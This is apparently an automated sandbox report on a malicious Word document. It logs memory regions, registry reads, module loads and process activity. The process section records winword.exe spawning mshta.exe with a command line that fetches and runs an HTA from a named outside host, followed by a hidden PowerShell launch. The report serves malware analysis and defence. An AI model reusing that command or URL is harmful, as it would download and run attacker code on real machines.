private_0x000007fffffd3000	0x7fffffd3000	0x7fffffd3fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd4000	0x7fffffd4000	0x7fffffd5fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd6000	0x7fffffd6000	0x7fffffd7fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd8000	0x7fffffd8000	0x7fffffd9fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffda000	0x7fffffda000	0x7fffffdbfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdc000	0x7fffffdc000	0x7fffffddfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffde000	0x7fffffde000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump
For performance reasons, the remaining 19 entries are omitted. The remaining entries can be found in flog.txt.

Modified Files

Filename	File Size	Hash Values	YARA Match	Actions
c:\users\aetadzjz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\t[1].hta	3.24 KB (3313 bytes)	MD5: 13b131d98fea2526196b20496ec68b0a SHA1: 1284d7400f30f5a2c409f3f53fcf34b30c32268d SHA256: ae09b5dc38c85387a861cb4aee8b08ef6c7b216f21ba1bd06c9d1b3adab46a75		File Actions Show Properties Download

Host Behavior

COM (5)

Operation	Class	Interface	Additional Information	Count	Logfile
Create	3050F5C8-98B5-11CF-BB82-00AA00BDCE0B	00000000-0000-0000-C000-000000000046	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	50D5107A-D278-4871-8989-F4CEAAF59CFC	08C0E040-62D1-11D1-9326-0060B067B86E	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD	1	Fn
Create	B54F3741-5B07-11CF-A4B0-00AA004A55E8	BB1A2AE1-A4F9-11CF-8F20-00805F2CD064	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	6C736DB1-BD94-11D0-8A23-00AA00B58E10	6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8	cls_context = CLSCTX_INPROC_SERVER	1	Fn
Create	WsCriPt.SHeLl	IClassFactory	cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER	1	Fn

File (4)

Operation	Filename	Additional Information	Count	Logfile
Open	STD_INPUT_HANDLE	-	1	Fn
Open	STD_OUTPUT_HANDLE	-	1	Fn
Open	STD_ERROR_HANDLE	-	1	Fn
Open Mapping	#MSHTML#PERF#00000BC8	desired_access = FILE_MAP_WRITE	1	Fn

Registry (103)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	8	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_DATA_RESPECTS_XSS_ZONE_SETTING_KB912120	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	8	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	6	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_EXTERNAL_STYLE_SHEET_FIX_FOR_SMARTNAVIGATION_KB926131	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ARIA_SUPPORT	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_DISPPARAMS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_PRIVATE_FONT_SETTING	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CSS_SHOW_HIDE_EVENTS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DISPLAY_NODE_ADVISE_KB833311	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ALLOW_EXPANDURI_BYPASS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BODY_SIZE_IN_EDITABLE_IFRAME_KB943245	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DATABINDING_SUPPORT	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENFORCE_BSTR	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_DYNAMIC_OBJECT_CACHING	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LEGACY_TOSTRING_IN_COMPATVIEW	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	2	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_OM_SCREEN_ORIGIN_DISPLAY_PIXELS	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl	-	1	Fn
Open Key	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP	-	1	Fn
Read Value	HKEY_CLASSES_ROOT\clsid\{25336920-03f9-11cf-8fd0-00aa00686f13}\InProcServer32	data = C:\Windows\System32\mshtml.dll, type = REG_SZ	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	value_name = NoFileMenu, type = REG_NONE	1	Fn
Read Value	HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup	value_name = Print_Background	1	Fn

Process (1)

Operation	Process	Additional Information	Success	Count	Logfile
Create	C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe	show_window = SW_HIDE		1	Fn

Module (52)

Operation	Module	Additional Information	Count	Logfile
Load	C:\Windows\System32\mshtml.dll	base_address = 0x7fee0880000	1	Fn
Load	comctl32.dll	base_address = 0x7fefc060000	1	Fn
Load	OLEAUT32.dll	base_address = 0x7fefde70000	1	Fn
Load	mshtml.dll	base_address = 0x7fee0880000	1	Fn
Load	OLEACC.DLL	base_address = 0x7fef22f0000	1	Fn
Load	ieframe.dll	base_address = 0x7fef2350000	2	Fn
Load	ole32.dll	base_address = 0x7fefe1c0000	1	Fn
Load	shell32.dll	base_address = 0x7fefe850000	1	Fn
Load	oleaut32.dll	base_address = 0x7fefde70000	1	Fn
Load	WININET.dll	base_address = 0x7feff5e0000	1	Fn
Get Handle	c:\windows\system32\mshta.exe	base_address = 0xff9d0000	2	Fn
Get Handle	c:\windows\system32\kernel32.dll	base_address = 0x776e0000	3	Fn
Get Handle	c:\windows\system32\advapi32.dll	base_address = 0x7feff8e0000	1	Fn
Get Handle	EXPLORER.EXE	base_address = 0x0	1	Fn
Get Handle	IEXPLORE.EXE	base_address = 0x0	1	Fn
Get Handle	c:\windows\system32\ole32.dll	base_address = 0x7fefe1c0000	1	Fn
Get Handle	mscoree.dll	base_address = 0x0	1	Fn
Get Filename	-	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260	4	Fn
Get Filename	C:\Windows\System32\mshtml.dll	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshtml.dll, size = 260	1	Fn
Get Filename	c:\windows\system32\mshta.exe	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260	1	Fn
Get Filename	IEXPLORE.EXE	process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 261	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = HeapSetInformation, address_out = 0x776fc4a0	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventWrite, address_out = 0x7782b510	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventRegister, address_out = 0x7783cac0	1	Fn
Get Address	c:\windows\system32\advapi32.dll	function = EventUnregister, address_out = 0x77823c80	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = RegisterApplicationRestart, address_out = 0x7775f510	1	Fn
Get Address	c:\windows\system32\mshtml.dll	function = RunHTMLApplication, address_out = 0x7fee0ad5b90	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = InitializeSRWLock, address_out = 0x778384f0	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = AcquireSRWLockExclusive, address_out = 0x77828020	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = AcquireSRWLockShared, address_out = 0x778254e0	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = ReleaseSRWLockExclusive, address_out = 0x77828050	1	Fn
Get Address	c:\windows\system32\kernel32.dll	function = ReleaseSRWLockShared, address_out = 0x778254b0	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 6, address_out = 0x7fefde71320	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 7, address_out = 0x7fefde71020	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 8, address_out = 0x7fefde713f0	1	Fn
Get Address	c:\windows\system32\oleacc.dll	function = LresultFromObject, address_out = 0x7fef22f3aa8	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CoCreateInstance, address_out = 0x7fefe1e7490	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = 2, address_out = 0x7fefde73480	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CLSIDFromProgIDEx, address_out = 0x7fefe1da4c4	1	Fn
Get Address	c:\windows\system32\ole32.dll	function = CoGetClassObject, address_out = 0x7fefe1f2e18	1	Fn
Get Address	c:\windows\system32\shell32.dll	function = ShellExecuteExW, address_out = 0x7fefe877c70	1	Fn
Get Address	c:\windows\system32\oleaut32.dll	function = VariantClear, address_out = 0x7fefde71180	1	Fn
Get Address	c:\windows\system32\wininet.dll	function = InternetUnlockRequestFile, address_out = 0x7feff5f70f4	1	Fn
Create Mapping	-	filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16	1	Fn
Map	-	process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE	1	Fn

Window (7)

Operation	Window Name	Additional Information	Count	Logfile
Create	-	class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248	1	Fn
Create	-	class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248	1	Fn
Create	-	wndproc_parameter = 0	1	Fn
Create	-	wndproc_parameter = 3266448	1	Fn
Set Attribute	-	class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352	2	Fn
Set Attribute	-	class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144	1	Fn

Keyboard (152)

Operation	Additional Information	Count	Logfile
Get Info	type = KB_LOCALE_ID	2	Fn
Read	virtual_key_code = VK_SHIFT, result_out = 0	25	Fn
Read	virtual_key_code = VK_CONTROL, result_out = 0	25	Fn
Read	virtual_key_code = VK_MENU, result_out = 0	25	Fn
Read	virtual_key_code = VK_LSHIFT, result_out = 0	15	Fn
Read	virtual_key_code = VK_LCONTROL, result_out = 0	15	Fn
Read	virtual_key_code = VK_LMENU, result_out = 0	15	Fn
Read	virtual_key_code = VK_LBUTTON, result_out = 0	7	Fn
Read	virtual_key_code = VK_RBUTTON, result_out = 0	10	Fn
Read	virtual_key_code = VK_MBUTTON, result_out = 0	10	Fn
Read	virtual_key_code = VK_LBUTTON, result_out = 1	3	Fn

System (308)

Operation	Additional Information	Count	Logfile
Get Cursor	x_out = 724, y_out = 422	5	Fn
Get Cursor	x_out = 631, y_out = 286	5	Fn
Get Cursor	x_out = 791, y_out = 286	5	Fn
Sleep	duration = 100 milliseconds (0.100 seconds)	4	Fn
Sleep	duration = -1 (infinite)	7	Fn
Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
Get Time	type = System Time, time = 2017-10-24 17:37:59 (UTC)	2	Fn
Get Time	type = Ticks, time = 127296	1	Fn
Get Time	type = Ticks, time = 127546	1	Fn
Get Time	type = Ticks, time = 131134	1	Fn
Get Time	type = Ticks, time = 131150	3	Fn
Get Time	type = Ticks, time = 131165	249	Fn
Get Time	type = Ticks, time = 131181	1	Fn
Get Time	type = System Time, time = 2017-10-24 17:38:03 (UTC)	2	Fn
Get Time	type = Ticks, time = 131228	1	Fn
Get Time	type = Ticks, time = 131243	1	Fn
Get Time	type = Ticks, time = 131462	1	Fn
Get Time	type = Ticks, time = 147686	2	Fn
Get Time	type = Ticks, time = 147701	1	Fn
Get Time	type = Ticks, time = 147764	2	Fn
Get Info	type = Operating System	7	Fn
Get Info	type = Operating System	2	Fn
Get Info	type = Windows Directory, result_out = C:\Windows	1	Fn
Get Info	-	3	Fn

Mutex (1)

Operation	Additional Information	Success	Count	Logfile
Create	mutex_name = Local\!PrivacIE!SharedMemory!Mutex		1	Fn

Environment (1)

Operation	Additional Information	Success	Count	Logfile
Get Environment String	-		1	Fn Data

Ini (5)

Operation	Filename	Additional Information	Count	Logfile
Read	Win.ini	section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50	1	Fn
Read	Win.ini	section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50	1	Fn

Process #7: mshta.exe

(Host: 572, Network: 0)

Information	Value
ID	#7
File Name	c:\windows\system32\mshta.exe
Command Line	"C:\Windows\System32\mshta.exe" http://www.samyrai777m.p-host.in/t/t.php?thread=0
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:07, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:29

OS Process Information

Information	Value
PID	0x370
Parent PID	0x9b0 (c:\program files\microsoft office\root\office16\winword.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 628 0x 9C8 0x 744 0x 7D8 0x 9EC 0x 96C 0x 970 0x 974 0x 990 0x 984 0x 73C

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x00026fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
locale.nls	0x00050000	0x000b6fff	Memory Mapped File	Readable	Region Actions
imm32.dll	0x000c0000	0x000e8fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000000c0000	0x000c0000	0x000c1fff	Pagefile Backed Memory	Readable, Writable	Region Actions
mshta.exe.mui	0x000d0000	0x000d0fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x00000000000e0000	0x000e0000	0x000e0fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000000f0000	0x000f0000	0x000f0fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000100000	0x00100000	0x00100fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000110000	0x00110000	0x0020ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000000210000	0x00210000	0x00210fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000220000	0x00220000	0x00220fff	Pagefile Backed Memory	Readable, Writable	Region Actions
index.dat	0x00230000	0x0023bfff	Memory Mapped File	Readable, Writable	Region Actions
private_0x0000000000240000	0x00240000	0x0033ffff	Private Memory	Readable, Writable	Region Actions Download Dump
rpcss.dll	0x00340000	0x003bcfff	Memory Mapped File	Readable	Region Actions
index.dat	0x00340000	0x00347fff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00350000	0x0035ffff	Memory Mapped File	Readable, Writable	Region Actions
index.dat	0x00360000	0x0039ffff	Memory Mapped File	Readable, Writable	Region Actions
pagefile_0x00000000003a0000	0x003a0000	0x003a0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000003b0000	0x003b0000	0x003b0fff	Pagefile Backed Memory	Readable	Region Actions
windowsshell.manifest	0x003c0000	0x003c0fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000003c0000	0x003c0000	0x003c0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x00000000003d0000	0x003d0000	0x003d1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000003e0000	0x003e0000	0x003e1fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000003f0000	0x003f0000	0x003f1fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000400000	0x00400000	0x0040ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000410000	0x00410000	0x0050ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000510000	0x00510000	0x0060ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000610000	0x00610000	0x00610fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000610000	0x00610000	0x00610fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000620000	0x00620000	0x006bffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000620000	0x00620000	0x0065ffff	Private Memory	Readable, Writable	Region Actions Download Dump
oleaccrc.dll	0x00660000	0x00660fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000000670000	0x00670000	0x00670fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000670000	0x00670000	0x00671fff	Pagefile Backed Memory	Readable	Region Actions
wshom.ocx	0x00680000	0x00693fff	Memory Mapped File	Readable	Region Actions
pagefile_0x00000000006a0000	0x006a0000	0x006a1fff	Pagefile Backed Memory	Readable	Region Actions
private_0x00000000006c0000	0x006c0000	0x006cffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000006d0000	0x006d0000	0x00857fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000860000	0x00860000	0x009e0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000009f0000	0x009f0000	0x01deffff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000001df0000	0x01df0000	0x01ecefff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001f70000	0x01f70000	0x0206ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002070000	0x02070000	0x0226ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002090000	0x02090000	0x0218ffff	Private Memory	Readable, Writable	Region Actions
private_0x00000000021f0000	0x021f0000	0x0226ffff	Private Memory	Readable, Writable	Region Actions Download Dump
sortdefault.nls	0x02270000	0x0253efff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000002540000	0x02540000	0x02882fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002890000	0x02890000	0x02a7ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000028a0000	0x028a0000	0x0299ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002a00000	0x02a00000	0x02a7ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a80000	0x02a80000	0x02cbffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a80000	0x02a80000	0x02beffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002a80000	0x02a80000	0x02b7ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002be0000	0x02be0000	0x02beffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002c40000	0x02c40000	0x02cbffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002db0000	0x02db0000	0x02eaffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000002eb0000	0x02eb0000	0x0307ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002f60000	0x02f60000	0x0305ffff	Private Memory	Readable, Writable	Region Actions
private_0x0000000003070000	0x03070000	0x0307ffff	Private Memory	Readable, Writable	Region Actions Download Dump
